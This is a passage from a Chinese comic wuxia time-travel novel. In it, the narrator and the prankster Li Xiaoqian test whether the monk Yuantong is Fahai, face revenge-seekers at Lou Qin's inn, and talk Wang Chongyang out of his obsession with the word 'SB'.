于是,我在私下里问李小谦:“圆通大师有什么秘密?他跪在雷峰塔前到底是因为什么?” 李小谦却白了我一眼说,他也不知道。 我问他:“难道你不好奇吗?” 李小谦说:“好奇害死猫!” 好奇害死猫? 猫死不死关我什么事! 我决定亲自去掀开锅盖,看一看圆通平淡的表面之下到底隐藏了什么样的秘密。 然而,世事难料,当我正在筹划着如何去做时,已经有人迫不及待地替我筹划了一场作死的阴谋。 这日,雷峰塔前。 艳阳高照,地面如同被凶恶的太阳烤化了一般,远远望去,大地一片蒸腾的景象。 不知道为何,圆通自早间时候起便跪在了雷峰塔前。他一言不发,只是默默地跪着,也没有任何表情。 我和李小谦分别去劝了两次,他都没有理我们。 我问圆通:“你不热吗?” 豆大的汗珠从圆通锃光发亮的头顶上滚了下来,他摇了摇头,没有理我。 我开始琢磨,圆通到底为什么这么执着地跪在雷峰塔前。他到底在忏悔什么? 雷峰塔? 突然间,我想起那日我们初到雷峰塔时李小谦讲的那个故事。我猛地一惊,仿佛窥破天机一般的激动,以自己难以想象的飞快速度到跑到了李小谦的面前。 我问李小谦:“那天你讲的故事是不是真的?” 李小谦正在悠哉地啃着一个苹果,坐在一颗歪脖子树下乘凉,见我急匆匆的跑来突发疑问,他竟然没有丝毫的反应,只是淡淡地问了我一句:“什么故事啊?” 我激动地说:“法海,许仙,还有白蛇!雷峰塔!”我将我所有能回忆起来的词汇一股脑地说出来。 李小谦又问:“怎 么了?” 我说:“你讲的那个故事根本就不是什么传说,那些都是真的对不对?圆通就是法海对不对?”虽然这些话是说出来问李小谦的,但我的内心中已经无比坚定地认为,圆通就是法海。他之所以跪在雷峰塔前泪流满面,无非是在为当前害得人家妻离子散之事而忏悔。 之所以问,只是等待着李小谦给我一个肯定的答案。 因为,这一切都说得通了。 我感觉自己就是个天才。如此精妙绝伦的推论,试问有谁能够辩驳?! 李小谦却不屑地一笑,说:“你是不是有毛病?” 我依旧是十分坚定,说:“你不用再瞒我了!我已经发现了圆通的秘密,他就是法海。他只戳了一下,就能让人一动不动,那根本就不是什么点穴功,而是他的法术!他跪在雷峰塔前就是在忏悔当年害人妻离子散的罪过!对不对?!” 李小谦盯着我,半晌没有说话。突然,他腾地坐了起来,低声说:“对呀!我怎么没有想到!”他翘起一根大拇指在我脸前一晃,说:“旦丙,你真是人才啊!” 我感到前所未有的骄傲,看这样子,李小谦也并没有猜到圆通的身份,他只不过是碰巧知道了这样一个故事,一个圆通一手造成了人间悲剧。 是我,经过一番绝妙的推论之后,将那个传说真实地摆在了李小谦的面前。而此时,他的幡然醒悟正是来自于我的点拨。想到这里,心中的骄傲情绪不可避免地爆了出来。 李小谦说:“不如......我们试一试他?” 我问:“怎么试?” 李小谦说:“情景再现啊!” 我问:“什么是情景再现?” 李小谦说:“如果你心里藏了一件让你非常后悔的事,而相似的景象偏偏在你面前重新演绎了一遍,你会怎么样?” 他这么一说,让我想起了赵小娥。 她一直是我心头的一根刺,让我每每想起都会感受到一种锥心的痛。如果有人在我面前演绎我和赵小娥的故事...... “我会让他们先把衣服穿上!” 我不由自主地冒出了这样一句话。李小谦先是一愣,而后惊奇地看着我,问:“你都经历了什么?” 我顿时发觉言语有失,慌忙转过身去,不再理会。 李小谦一把抓住我,说:“好了,好了,我有一个计划,能试出圆通大师到底是不是法海。” 这一句话勾起了我的兴趣,我又回转过身子,问:“什么计划?” 李小谦说:“你扮成白素贞,找圆通去要许仙。” 我问:“白素贞不是女的吗?” 李小谦说:“我将你化装成白素贞,然后你跳到圆通面前大喊,法海,还我相公!” 我又问:“为什么是我?你为什么不把自己化成白素贞?” 李小谦说:“我不会给自己化妆啊。你会化妆吗?” 诚然,我不会化妆!虽然,从前时常看到赵小娥化妆,但我的确没有学会。我摇了摇头。李小谦一拍大腿,“啪”的一声,这一掌李小谦 没有收住力量,打得他自己龇牙咧嘴地一阵“哎呦”。 李小谦在自己大腿上揉了半晌,说:“这不就对了!只能我给你化妆了!” 我反复思忖,脑海中一番争斗之后,最终好奇占据了高位。我点头应允了李小谦的要求。 “不过......”我犹豫着开口。 李小谦问:“不过什么?” 我说:“你要答应我一个条件!” 李小谦有些不耐烦了,说:“有话快说,有屁快放!” 我说:“我不放屁。你告诉我,唉嘶必是什么意思?” 李小谦一怔,显然他没有料到我会突发此问。随即,他哈哈大笑,说:“唉嘶必就是骗子的意思。” 我“哦”了一声,缓缓点头。原来,他认为那个黄袍道士是个骗子! 眼看没几个时辰天就要黑了,李小谦的意思是,如果在白天里情景再现,恐怕会被圆通一眼看穿,但如果在黑夜里行动,又怕山上乌漆墨黑,圆通完全看不清楚,达不到我们预设的效果。 所以,行动的时间要精准地把握在太阳西沉之后,天空将黑未黑之时。 商定之后,李小谦特意找娄琴借来了一套素白的女装,他麻利地给我换上,然后又在我的脸上一番捯饬,不一会儿,把我装扮得连我自己都不认得自己了。 又半个时辰,我们所预谋的时机已然来临。 夕阳西下,天际线只留下一抹残留的红霞,遥望西边,朦朦胧胧地可以看到几片白云被侵染成血色。 我们躲在暗处窥视着。 圆通已经在雷峰塔前跪了整整一天。此时,天色渐暗,已经看不清圆通的表情。只隐约在黑暗中一个轮廓,仍旧一动不动地跪在余温尚存的青石地面上。 突然,那轮廓一动,随即站起身来,转身向山上走去,动作连贯,没有丝毫的迟疑。 “快!” 李小谦在身后推了我一把。我下意识地一个箭步冲了出去,以飞快地速度闪到圆通面前。双手捏起兰花指,一前一后架在空中,以李小谦教我的腔调,熟练地大声喊道:“法海老贼!快快将我相公交出来!” 黑暗中,我看到圆通的轮廓登时定在那里,我隐约感受到了情景再现带给圆通内心不可想象地冲击,我仿佛听到了圆通内心中包含绝望的嘶吼,难以抑制的痛苦正如洪水猛兽一般冲击着他的奇经八脉! 果然!果然! 圆通真的是法海! 我内心狂喜,为我天才一般的推理不可抑止地尖叫! “啊!” 突然间,我感觉胸口被什么撞击了一下。一股强烈的酥麻感瞬时间游遍全身,那熟悉的感觉,让我定在原地,浑身动弹不得。 我又被圆通点了穴道。 圆通的轮廓在我完全不经意间消失了,却不知何时,他的声音在我身后不远处传来:“贫僧不是法海。” “阿~弥~陀~佛~” 声音越来越远,我欲喊无声,只听得不远处李小谦如雷鸣般谑笑在空中久久回荡...... (本章完) 第一卷 最后一个武林盟主 第十六章 寻仇 一个人的一生中总要遇到一些谜一样的人,不去揭开这个谜,不仅仅是对别人的尊重,更是对自己的保护。 从前,我不明白。但经过了这件事之后,我已经非常深刻地体会到了这一点。 在强烈的好奇心的驱使下,在无耻的李小谦的设计下,我又一次成了笑柄。 这日清晨,天色初蒙,被定了一夜未动的我,顾不得满身的酸痛,怒火已将我最后的理智燃为灰烬。 李小谦! 去往娄琴客栈的一路上,我内心中重复着这个名字。恨得我咬牙切齿,恨不得立刻要将他撕个粉碎! 我要杀了他,我要杀了他,我要杀了他! 我听到了自己内心之中野兽般地咆哮着。疯狂莫不知前路远,不知不觉间,我便来到了娄琴客栈的门前。 然而,刚到娄琴客栈,我心中燃烧的愤怒火焰却被眼前发生的事情浇灭了。 娄琴客栈门口。 只见五名大汉站作一排,手持刀剑在娄琴客栈的门口,威风赫赫。为首的大汉,站立在中央,手中握着一柄闪亮的长刀,对这娄琴客栈中破口大骂:“臭小子,给老子滚出来!” 臭小子? 莫非是在骂李小谦? 我正疑惑间,只见娄琴曼妙的身姿出现在客栈的门框之内,她又一次披上了那件火红的轻纱,内里是一件上不可覆乳、下不能遮肚的粉白色抹胸,露出一对雪白的半球,看得一群人鼻血都要喷出来。 “嗯?”为首的汉子疑惑地看了一眼娄琴,轻蔑道:“怎么派了个小娘子出来挡事?” 接着,五个大汉还未回过神来,为首的汉子已流出了鼻血。但这鼻血却不是被娄琴半露的酥胸顶出来的,而是被娄琴以极快的速度打出来的。 那速度快极了!我只看到一个火红的影子在那汉子的脸上一扫而过。 我登时便傻了眼。 没想到,看似娇弱的娄琴竟然是一个深藏不露的武林高手。 四周的人也看傻了眼。为首的大汉手中的刀“咣铛”一声砸在地上,双手捂着鼻子,正痛苦地哀嚎。其他四人立于左右,脚下步履筹措,不敢上前。 “瞎了你们的狗眼!” 娄琴冷冰冰地目光如刀割一般地扫过,吓得几人连连后退,娄琴伸出手指,冲着他们一通臭骂:“老娘的地盘也是你们几个杂碎能撒野的地方?” 她话音刚落,娄琴的身后又闪出一个身影,一眼略过,甚感熟悉。我再定睛一看,那人正是李小谦。 怒火重新燃起。我左右找寻,突然一根长约三尺的木棒映入我的眼帘。我疾步上前,拿起木棒,左右挥舞了两下。 “嗖嗖。” 破空之声乍响,这木棒甚是趁手。 随后,我一个箭步上去,冲着李小谦大骂:“李小谦!你个唉嘶必!” 木棍“嗖”的一声落下,只听见“邦”的一声闷响。这一棍我用力极大,我满心期盼着李小谦的脑袋在我面前开花,喷出如柱的鲜血,我已做好了被他狗血溅满一脸的准备。 然而,当我目光汇聚之时,看到的却是一只纤细白嫩的玉手,在距离李小谦脑袋不足一掌宽的地方死死地攥住了棍梢。 上天真不公平,圆通要护着他,娄琴竟然也要护着他。又谁能真正体会一下我的愤怒? “小弟弟,怎么这么的大火气啊?给姐姐说说可好?” 娄琴温柔的脸庞上带着笑容,涓涓细声中带着骚气。 我使劲往回抽了抽木棒,但木棒的一端被娄琴死死地攥着,任我如何用力也无法抽回。我说:“你放开!李小谦是个唉嘶必,我要打死他!” 娄琴一怔,显然是没有听懂我在说什么。李小谦从娄琴身后探出半个脑袋,说:“你才是唉嘶必呢!你全家都是唉嘶必!” 娄琴疑惑地问:“你们所说的唉嘶必是什么意思?” “喂!” 我三人之间只顾着争论,却完全忽略了客栈门前站立的五个大汉,为首的大汉一抿鼻孔中流出的鲜血,叫道:“你们说够了没有!” 娄琴一把夺过我手中的木棒,提在手里,向前逼近一步,说:“怎么?老娘说的话,你是没听懂吗?” 为首的大汉露出一丝怯懦的表情。但他并没有后退一步。我想,被这么多双眼睛正目不转睛地盯着,尤其是自己的四个兄弟,是进是退全然仰仗他的指令。江湖上的人,性命事小,面子事大。退了后一步,脸面无存。 那汉子咬着牙,脸颊的肌肉绷紧,上前一步说:“老板娘你武功了得,我自愧不如。但是,我兄弟五人来此并非有意滋事,而是这小子......”不知何时,那柄长刀又回到了他的手中,他刀尖儿指向李小谦,狠狠地说:“这小子奸诈狡猾,作弄我三弟,致使他至今在家中盯着一张破纸,痴痴傻傻,犹如失魂一般。今日,我定要擒了这小子,回去给我三弟一个交代!” 娄琴问躲在他身后的李小谦,说:“可有此事?” 李小谦躲在娄琴身后,探出头来,说:“没有!别听他胡说!”然后,他又冲着那汉子大喊:“你三弟是谁啊?我不认识啊!” “哼!”大汉冷哼一声,从怀中掏出一张纸,往地上一扔,说:“你不认识我三弟?那这个东西你可认识?” 那张纸被大汉大力抛出,如同断线的纸鸢,在空中徐徐飘落。当它稳稳地躺在地上,我定睛一看,只见雪白的纸片上画着一个弯曲爬行的蛇形符号和上下排列的一大一小两个半圆,行笔不同寻常。 这不是李小谦所写的那个“唉嘶必”吗? 我恍然大悟,原来这五个人竟是那个黄袍道士的兄弟!我想起那日黄袍道士被李小谦一番作弄之后茫然失措的神情。从那汉子的话语中不难听出,那黄袍道士回家之后过于执着李小谦写得那个“唉嘶必”,因而陷入痴境,不能自拔。 李小谦呵呵一笑,从地上捡起那张纸,抖了抖,说:“我当是谁呢,原来你是铁卜神算的兄弟啊!” 大汉横刀上前,喝道:“你承认就好!还不跟我回去受死!” 李小谦两步退到娄琴身后,说:“慢着!慢着!你兄弟自称铁卜神算,我只是写了两个字,让你兄弟测算。他变成这个样子,完全是自作自受,怎么赖到我头上啊!” 娄琴点头,说:“说得不错!不知这位好汉如何称呼啊?” 大汉冷哼一声,象征性地抱了抱拳,朗声说道:“汤明法!” 娄琴的身躯微微一震,将汤明法细细打量了一番,又看了看其余的四个大汉,说:“义士可是义烈将军李彦仙的旧部?” 汤明法也愣了一下,见娄琴竟然认识自己,并且言语中满是敬意,便郑重向她抱拳,说:“正是。不知这位夫人是......” “哎呦,别叫人家夫人嘛。” 娄琴又恢复一副招蜂引蝶的腔调,说:“人家还是个未出阁的黄花闺女呢!” “我去!”李小谦叫了一声,说:“大龄剩女啊!” 娄琴没有理会他,李小谦九百年以后的词汇对这个时代而已超纲严重,无论是褒是贬,我们都很难听懂。不然黄袍道士也不会在家中沉溺于迷思,不可自拔。 娄琴说:“小女子娄琴,是这家客栈的老板。” 汤明法恭敬地说:“在下方才失礼之处,还望娄夫人......”他一句“娄夫人”刚刚脱口,可能是觉得不太妥当,随即改口,说:“呃....还望娄姑娘见谅。” 娄琴喜笑颜开,说:“无妨无妨,不打不相识嘛。”她回头看了一眼躲在他身后畏畏缩缩的李小谦,说:“这位李公子乃是我娄琴客栈的贵客,若有得罪之处,还望汤义士卖我几分薄面,到客栈堂中妥处,小女子备下酒菜,大家好生商量,不要坏了和气。” 汤明法思忖片刻,向左右几个兄弟眼神交流一番,点头说道:“恭敬不如从命!” 我见这群人各个都是身负武功的高手,李小谦更是龟缩在娄琴身后,寸步不移。我报仇雪耻的打算只能暂时搁置。 再者,这群彪壮的汉子分明就是来找李小谦寻仇的。接下来,定然是一场好戏,纵有娄琴撑腰,李小谦也未必能够化险为夷。 多年战乱,金人几度南侵,盗匪、强人渐渐成了这个时代的主流。街边一个不起眼的算命道士竟也有几个颇有来头的结拜兄弟。一个娇滴滴的客栈女老板,竟然也是深藏不露的武林高手。 这便是南宋初年,一个混乱的年代,一个不同寻常的江湖。 生长在这个年代我,如漂泊在茫茫大海中的一根毫不起眼的稻草,只得随波逐流,随遇而安,却又如同命中注定般的、阴差阳错的,一步步卷入一场前所未有的江湖风雨之中。 许多年后,当我回想起这一切时,除了懊悔与怅然,还有一种对命运深深的感慨。有时,我会思考,这场命中注定的风雨到底是以何时为开端的? 出生? 雁荡山? 初遇李小谦? 还是在娄琴客栈一步步卷入江湖开始呢? 没有一个明确的答案....... 第一卷 最后一个武林盟主 第十七章 义士 十六年前,便是建炎元年。 石壕县尉李彦仙,镇守三觜。当时,靖康之难刚刚发生,当时皇上和太上皇,也就是后世所称的徽钦二帝,双双被金人掳走,大片土地沦丧。在如此的奇耻大辱之下,高宗皇帝却只会逃跑,自始至终都没有组织起一支有力的抵抗队伍。 朝廷之中抗金乏力,江湖之上却风起云涌。 强烈的家国仇恨驱使着,江湖上一片沸腾,但江湖上的许多义士却又报国无门,一身精湛武艺无用武之地,愤懑让他们犹如没头苍蝇一般在民间游窜。 建炎元年四月,金兵进犯陕州,经制使王燮抵挡不住,率部逃跑。李彦仙却不肯逃走,他组织当地民众,武装起一支近万人的队伍,在崤、渑之间与金军对垒。 十万金军压境,李彦仙以不足一万的乌合之众抵抗十万铁骑。 李彦仙疯了的消息,在江湖上盛传。 然而,就是这个疯子,在与十万金兵对垒之时,单枪匹马冲入金军阵中,将一个在城下骂娘的金人将领生擒回去。 随之,李彦仙是个疯子的消息,在江湖上盛传。 江湖上的人都疯了。仿佛是久病的患者听到了神医的消息一般,一些门派的英雄豪杰,疯狂地涌向了石壕县。 那个时候,八矛师父也想去凑个热闹。但是,我们兄弟四人的突然加入,彻底打乱了他从军报国的伟大梦想。为了我们的安全,他只得放下北上抗金的抱负,带着我们一路南逃。 建炎二年。五大门派惨绝扬州的消息震撼了整个武林,凡是与五大门派有些渊源的武林高手更是一股脑地投奔了李彦仙,让原本疯狂的李彦仙更加疯狂。他精心谋划,派出了许多江湖上赫赫有名的高手潜入陕州城内,以降民的身份加入金军。 在一个月黑风高的夜晚,李彦仙派军突袭陕州城,城中的武林高手作为内应,里应外合一举拿下陕州。 李彦仙收复陕州的消息传入江湖之后,江湖上再次沸腾起来,更多的江湖门派成建制地率领门徒子弟前去投奔。并在陕州召开了一次声势浩大的武林大会,大会一致推举李彦仙为武林盟主。 于是,在武林盟主李彦仙的号令之下,江湖上前所未有地统一起来。大家放下以往的成见,同仇敌忾,保家卫国。 建炎四年。 那一年,泣血成歌,江河变色。 建炎三年的寒冬腊月,冰雪封山数百里,彪悍的金人却冒着严寒再率十万大军,兵分十路将陕州城围了个水泄不通。与此同时,金人知道了李彦仙武林盟主的身份,认定其有大用处,便发重金悬赏,誓要活捉李彦仙。 李彦仙率领几万兵马且战且退,一度重创金兵。 次年正月,寒风凛冽,大地一片苍凉,孤立无援的李彦仙部苦战力竭,已到存亡的边缘。李彦仙眼看大势已去,决意杀身成仁。但各大门派念及李彦仙的勇武忠义,不愿让他青山不保,便在危难时刻绑了李彦仙突围出了陕州城。 得救之后李彦仙,望着黄河滚滚,声势浩荡,前方便是心驰神往的新朝,身后却是山河破碎,血流漂杵人间炼狱。 当晚,金军攻克陕州城,城中燃起了熊熊大火,无尽的黑夜照得一片通红。金人惨绝人寰的屠城在那一夜发生,陕州城内哀嚎之声犹如天雷滚滚,刺破了许多人的心。那一夜,李彦仙望着自己曾经竭力守护的陕州百姓成片地惨死刀下,悲痛欲绝,趁众人不备投河自尽了。 说起这段往事,五大三粗的汤明法泪如雨下。我在一旁看着,也不免为之动容。 “山河破碎风飘絮,身世浮沉雨打萍!” 悲壮的故事似乎也触动了李小谦的心弦。他做了一句好诗。至少在我听起来朗朗上口。但是,没人理会他。毕竟此时的唐明法等人还带着对李小谦深深地恨意。 娄琴轻轻抹去眼角的泪水,恭敬地将他们的酒杯斟满,说:“英雄,小女子再敬一杯!”说罢,举起酒杯,颇为豪迈地一饮而尽。 风情万种的娄琴豪迈起来的姿态,却不输任何男儿。 这便是江湖人固有的英气。 在那后的十年里,随着我深入江湖,渐渐觉得我所认识的每一个江湖人士,无论他们是矫揉造作的,或是胆小怕事的,还是阴险毒辣的,他们身上却或多或少的都有这种英气。然而,当那件事发生之后,每当我回忆起那些英气十足的江湖人士,心中的愧疚却更加不可抑制。 这一切,使得那件事更加成为我心中痛苦的根源。 其实,汤明法不过是李彦仙部一个毫不起眼的小角色。他武功平常,比起那些赫赫有名的武林高手,实在是太过于微不足道。 但汤明法却十分有名。 其原因便是,江湖上盛传,武林盟主李彦仙投河自尽之后,一个叫汤明法的义士不顾危险,救出了李彦仙的儿子。 那几年,金人曾几度发下布告,得汤明法及李彦仙之后者,赏金十万。然而,又有谁会去出卖民族英雄的后代呢?从此,李彦仙的儿子成为江湖是闭口不谈的话题,任何人不得询问。久而久之,就连他的姓名都成了少有人知的秘密。 “李彦仙的儿子是谁?他在哪?” 李小谦不知何时又啃上了苹果。本来,陷入悲伤回忆的众人已经完全忽略了李小谦这个无足轻重的小人物,但他突然间的搭话,让汤明法再度暴跳如雷。 汤明法一拍桌板,站起身来,说:“李将军的大名,也是你这种宵小之辈能提的?” 李小谦嘿嘿一笑,说:“你跟我客气着点,你那傻兄弟还在家郁闷着呢。”李小谦发现了汤明法的短处,气焰变得嚣张起来。 汤明法怒不可遏,一把揪起李小谦的衣襟,说:“我这就把你抓回去,让我三弟处置!” 他的四个兄弟随声附和,瞬时站起,只待汤明法一声令下便要将李小谦五花大绑,带回发落。 李小谦不紧不慢地说:“你要是再对我动粗,我可就不给你那傻弟弟解释这两个字的含义了,就让他自己活活闷死好了!”李小谦一只手指了指桌板上的那张纸。 白纸黑字,一条蛇形曲线,两个怪异排列的半圆,十分扎眼。 汤明法有气难出,一张脸憋成了酱紫色,他大口喘着粗气,揪着李小谦的衣领始终不肯放开。 李小谦不耐烦地拍了拍汤明法的手,说:“我数三个数,你快给我松开。” “一、二......” 李小谦刚刚数了两个数,汤明法便恨恨将李小谦推坐在椅子上,神情颇为恼怒。李小谦整了整自己的衣衫,嘟囔道:“这还差不多!” 娄琴将手搭在李小谦的肩头,笑盈盈地说:“好弟弟,汤义士可是有名的英雄,你不要再捉弄他的三弟了,快快给人家一个解释吧。” 这时,汤明法眼圈又红了,他语气中略带哽咽,对着娄琴说:“不瞒你说,我那三弟也是条铁骨铮铮的英雄好汉,当年他潜入伪齐为官,辗转搜索金军情报,为李将军收复陕州立下过汗马功劳。只可惜,他好奇心太重,对人间诸事的思索过于执着。后来,他执念太深,出家入道,整日里都在钻研什么天地之初,万物之始一类的高深问题,对世间万物的好奇心也日渐加重。如今......如今......没想到会为了这么两个怪异的文字,痴迷不醒啊!哎......” 说罢,汤明法长长地叹了一口气,露出恨铁不成钢的表情。 汤明法又说:“这两日,我三弟在家不吃不喝,不眠不栖,整天对着这张纸念‘唉嘶必?唉嘶必?唉嘶必?’,念得我们兄弟几人都开始纳闷了,到底这‘唉嘶必’所指何意啊?!” 李小谦登时哈哈大笑起来。 我实在看不过去,说:“唉嘶必就是骗子的意思。他说你三弟是个骗子!” “啊?!” 汤明法怒火重燃,登时站起,手中长刀随手拎了过来,一把架在李小谦的脖子上,大喝:“老子这就剐了你!” 我激动难耐,摆手叫好,说:“剌他脖子,剌他脖子!” 李小谦大叫:“别,别,别,别听他的!他和我有仇,有意害我呢!” “啊?!” 汤明法怒发冲冠,刀锋一转,一柄明晃晃的长刀竟然架到了我的脖子上,随即大喝:“你敢骗老子!” 我双腿一软,瘫坐在地上,说:“我,我可没骗你。李小谦就是这个给我说的!” “啊?!” 汤明法双目喷火,长刀一晃,又把刀刃抵到了李小谦的脖子上,大喝:“他说得可是真的?!” 就在我和李小谦你死我活之际,娄琴挺身而出,一双玉手扫过汤明法下巴上密实的胡子,说:“哟~汤义士不是说好了要给我面子的嘛,怎么又动起刀来了?” 汤明法一张有些黝黑的脸登时变得通红。 不!是暗红! 我目光下意识地移向了他两(脱敏)腿之间。只见宽松的裤裆里异物突起,似有暗器。 我惋惜地叹了一口气。 这人世间,到底还是英雄难过美人关啊! 第一卷 最后一个武林盟主 第十八章 解惑 在娄琴的监护下,我和李小谦被汤明法等人挟持着来到了黄袍道士的家中。 我感觉自己非常无辜。 这件事完全是李小谦一人所为,跟我毫无关系,如今却要受他所累,被这伙人强行带到了黄袍道士家中,向他解释“唉嘶必”的含义。 我曾向汤明法阐明,此事与我无关。但是,汤明法丝毫不愿听我解释,他心疼自己的三弟,任何与那“唉嘶必”有关系的人,他都不愿放过。 我心情十分郁闷。李小谦却步履轻盈,若无其事,口中哼着奇怪却动听的调子,手中不知何时多了一把折扇,雪白的扇面上画着一副颇为壮阔的彩画,亭台楼宇,巍峨耸立,扇面的正中间横亘八个大字,笔走龙蛇,气势挥毫。 我指着扇子上的字,问:“这上面写的是什么?” 李小谦将扇面横在面前,看了一眼,说:“七月一日,盛大开盘!” 我问:“什么意思?” 李小谦想了一下,说:“大概的意思就是说,房子盖好了,七月一日开始营业。” 我问:“这也是你们那个时候的意思?” 李小谦笑了笑,说:“对,对!” 说话间,我们便来到了一处宅院前。这宅子不算气阔,古旧的木门板上却一尘不染,院中摆设井然有序,一看便知房子的主人是一个整洁利落的人。 汤明法带着我们走到东侧的一间房子前,说:“各位稍候片刻,我先进去看看三弟。” “吱呀”一声,老旧的木门发出刺耳的声响。我们离着房门有些距离,加上屋内昏暗,无法看清里面的状况。 汤明法隐入房中,掩上房门。另外四名大汉瞬时将我和李小谦围了起来,各个怒目圆睁,露出一副要吃人的架势。 娄琴笑盈盈的看着,也不做声。李小谦依旧气定神闲地摇着扇子。唯独我有些惊恐地看着四个壮汉,唯恐他们一个阔步上来,将我拍成肉饼。 “吱呀”一声,房门又开了,汤明法探出半个身子,向着我和李小谦招了招手,说:“你们两个进来吧!” 我想说,我不进去。 但四个壮汉已经将我和李小谦推搡着到了房门的边缘。 受制于人要懂得示弱。 这是八矛师父用生命传授给我的至理箴言。我必须要牢记并遵守。 从明亮的外界走入昏暗的屋中,我有片刻的失明之感。 当屋内的景象从朦胧的魅影渐渐转为清晰之后,我看到一个身穿黄色道袍,披头散发,不修边幅的邋遢道人,他提着毛笔的手不住地颤抖着,桌上白纸胡乱地摆着,画个各种各样的图形。 若不是他嘴角随着嘴唇晃动的两撇胡子,我几乎认不出,他便是那日自称“铁卜神算”的黄袍道人。 黄袍道人见我们两个人走了进来,双目之中闪闪发光,几乎要照亮整个屋子,他大步上前,一把攥住李小谦的双手,噗通一声跪倒在地上,激动地说:“高人呐,这‘唉嘶必’到底所指何意啊!求您指点迷津啊!” “呃......” 李小谦似笑非笑地将黄袍道人扶了起来,说:“不用这么客气。敢问......怎么称呼啊?” 黄袍道人似乎没有听到李小谦的话一般,一双眼睛贪婪地看着李小谦,口中始终念念有声,似乎在说:“唉嘶必,唉嘶必,唉嘶必......” 李小谦慌忙甩开黄袍道士的手,站到一旁,一只手挡住黄袍道士的嘴,说:“唉唉唉,你不要冲着我念!” 汤明法见他三弟失态,慌忙上前,将黄袍道人拉到身后,说:“我三弟姓王名德威,乃是南宫派天水道长的入室弟子。” “嘶~”李小谦长吸一口气,眉头紧锁,似乎陷入思索之中,半晌,他喃喃地说:“王德威?这个名字好耳熟啊,似乎在哪里听过。” 汤明法补充道:“我三弟道号重阳子......” “什么?!” 李小谦惊恐地大叫了一声,随即倒吸一口凉气,半晌才缓缓地说:“我他妈的竟然把王重阳给耍了!” 随即,李小谦慌乱地将重阳子扶坐在椅子上,毕恭毕敬地鞠了一躬,小声念叨着:“误会,误会,王真人不要怪罪,全真派的剑法教我两招可好啊?” 王德威丝毫没有理会,依旧是如痴如醉地念着:“唉嘶必,唉嘶必,唉嘶必......” 李小谦一拍脑门,悲声大叫:“罪过啊!我他妈的把王重阳搞傻了!” 汤明法看在眼中,长叹一声,似乎对李小谦自惭形秽的态度非常认可,他走上前去,劝道:“既然事情已经这样了,李公子也不必太过自责,只需要将那‘唉嘶必’的含义告知于我三弟,想来他心中疑惑一解,自然会释然如初的。” 李小谦蹲到重阳子跟前,轻声试探:“呃......王真人啊,我把那两个字的意思给你解释一下可好?” 重阳子两眼登时金光闪闪,连连点头,说:“好,好。高人快讲!”说罢,一把拉起李小谦,走到桌前,指着白纸上的两个图形,说:“唉嘶必!什么意思?!” 李小谦说:“呃.....这个......其实这个两个字母,来自西方一个很遥远的地方。至于这两个字母连在一起嘛,意思就是......” 重阳子将脸凑到跟前,等待着李小谦的解答。汤明法也上前几步,探过头去,也流露出期待的神情。 “咳咳。” 李小谦轻咳两声,正色道:“唉嘶必乃是戍边之意。” “戍边?!” 汤明法和重阳子同时喊出声来。 李小谦露出一副大义凛然之相,说:“那日我写下唉嘶必两字,其实正是暗指我的戍边之心,表明我希望朝廷北上抗金,包围家国的志向。可惜啊,你没有看出来。” 汤明法和重阳子几乎同时点头,流露出钦佩的表情。尤其是重阳子,双目之中光彩重现,炯炯有神,双拳一抱,对着李小谦郑重说道:“李公子怀大义于天下,是我见识浅薄,未明其中深意。还请李公子见谅!” 汤明法随声附和:“李公子胸怀天下,汤某人且感钦佩。方才得罪之处,请公子赐罪。” 李小谦慌忙上前扶住两人的胳膊,一脸我从来没有见过的郑重其事,说:“两位义士言重了。那日我心中不满朝廷所作所为,心中郁闷。但街上难免有朝廷耳目,不敢直抒胸臆,因此用西方文字才写下‘唉嘶必’二字。今日,闻听汤义士与王真人之英雄事迹,得知我等都是同道中人,方能畅所欲言,真是痛快!” “不错!” 汤明法神情激荡,朗声说道:“今日我等结识乃是天意!他日寻得良机,我等一同北上,做个唉嘶必的将士,保家卫国!” “不,不,不。”李小谦却连连摆手,说:“这唉嘶必二字就不要再说了。我们都是中华儿女,还是说汉语吧。” 汤明法与重阳子相视大笑,连连称是。 我在一旁都看傻了。 这是什么情况! 不是说好了要处置李小谦吗? 怎么就成了同道中人?! 此外......这唉嘶必,不是骗子的意思吗? 到底哪个是真的?! 重阳子清醒了,而我却陷入了一片茫然 第一卷 最后一个武林盟主 第十九章 收钱 经此一事,我和李小谦意外地结识了一群好汉。 他们便是汤明法、重阳子,还有他们的四个兄弟。至于这四位兄弟的名号,往后再逐一道来。 但此时,重要的事,这六个人都曾经是前任武林盟主,也就是名满天下的义烈将军李彦仙的旧部。 当晚,娄琴再度显露出她豪迈的一面,在她的客栈中摆了一桌酒席,供我们把酒相谈。 席间,李小谦出尽风头,张口闭口便是家国仇恨、挥师北上,说得众人心情激荡难平,频频把酒相让。 毕竟那个时代,江湖中人投军报国是一件侠义胸怀的体现。 侠之大者,为国为民。 无论什么鸡鸣狗盗之徒,反倒是有了从军抗金的经历,便会被冠以英雄好汉之名,备受崇敬。 抗金,成了无耻之徒洗白的重要手段,并屡试不爽。 正是因为这种时代特有情结的存在,在我看来阴险狡诈的李小谦,摇身一变竟然成了众人眼中的英雄人物。 当时的我,却不能理解,为什么李小谦总能成为别人一致赏识的人。 虽然不能理解,但是眼前的情况就是,卑鄙无耻的李小谦突然有了一群为他撑腰的壮汉,致使我不得不暂时搁置下对李小谦的仇恨,眼睁睁地看着他嚣张地在我面前与一群壮汉推杯换盏,把酒言欢。 郁闷之下,我便多喝了几碗。第二天醒来,我又一次赤身裸体地出现了娄琴客栈的厢房里。 一大早,李小谦焦急地推开房门,将衣服塞到我怀里,说:“快穿衣服,跟我走!” 我揉着惺忪的睡眼,问:“去哪?” 李小谦说:“你忘了?!今天是和邵阳春约定好了送钱的日子。” 我说:“圆通不是在山上吗?直接交给他不就行了。” 李小谦低声吼道:“你傻啊!万一邵阳春和圆通碰了面,说起香火钱一事,岂不是漏了底?!” 我腾地一下坐了起来,向这李小谦一挥拳头,说:“不许说我傻!” 李小谦不耐烦地点头,说:“天才!快走!” 天才! 如果是从前听到,我会喜不自胜,欢欣鼓舞。但是,经过情景再现一事,天才这个词乃是对我智商莫大的侮辱! 瞬间,我感觉精神十足,浑身充满了力量,即使是一团粗布衣裳,也能成为杀人于无形的神兵利器。 我将衣裳攒成一团,奋力扔向李小谦。 “呼!” 衣裳在空中兜出风声。却在距离李小谦两尺的地方落了下来。 我仍不死心。我感觉自己无穷的力量尚未淋漓尽致地发挥出来。 左右搜索一番。发现能用的就仅剩下一床盖在身上的薄被。 